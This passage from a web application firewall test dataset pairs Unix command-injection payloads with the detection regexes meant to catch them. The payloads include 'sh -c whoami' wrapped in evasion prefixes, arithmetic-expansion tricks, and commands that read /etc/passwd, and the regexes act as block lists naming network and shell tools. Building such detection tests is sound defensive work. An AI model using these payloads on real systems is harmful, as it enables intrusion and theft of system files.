*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block evasion using here string with command substitution" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time sh -c whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\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\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block `time` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=strace sh -c whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?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|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block `strace` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=nohup sh -c whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?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:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Block `nohup` prefix" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932230-58=$%24%5B%24(sh%20-c%20'echo%201')%2B2%5D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\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&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Bash - Arithmetic expansion ($[...]).\nPayload: $[$(sh -c 'echo 1')+2]\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;rmt" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@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_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "match \"rmt\"" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;find /etc -name passwd -exec cat {} +\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"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\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "4JOGUXYQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cd /;cd etc;column passwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\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ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?